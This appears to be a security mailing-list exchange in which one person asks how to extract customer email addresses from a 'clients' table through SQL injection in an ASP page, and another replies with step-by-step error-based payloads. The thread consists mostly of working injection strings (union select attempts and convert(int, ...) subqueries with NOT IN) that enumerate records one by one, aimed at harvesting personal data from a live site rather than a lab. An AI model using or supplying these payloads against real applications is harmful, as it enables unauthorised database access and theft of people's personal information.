A similar situation is covered in my paper at http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf Basically, you should use the NOT IN to get the other values. In this case, you'd start like this: ' %2b convert(int, (SELECT email FROM clients WHERE email NOT IN ('anon () isp com'))) %2b ' And then the next one would be: ' %2b convert(int, (SELECT email FROM clients WHERE email NOT IN ('anon () isp com', 'secondemail () isp com'))) %2b ' And so on...

Hi :) i'm trying to get some info from clients table and email field.... i try this param into gubpage.asp?=... ') union select sum(email) from clients-- and got error about all queries needed...so, i tryed to solve with ') union select sum(email),1,1,1.... from clients-- until i get: operand type clash: text is incompatible with int i found this answer into this forum (thanks :)), was: ' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b ' i got this: Syntax error converting the varchar value 'anon () isp com' to a column of data type int Now, my problem: How can i get other e-mail from table knowing one valid value? i try this ' %2b convert(int, (SELECT email FROM clients WHERE email'anon () isp com')) %2b 'but no success i think i can use NOT iN, but not sure how to use with convert... Any tip are welcome! Thanks --------------------------------------------------------------------------
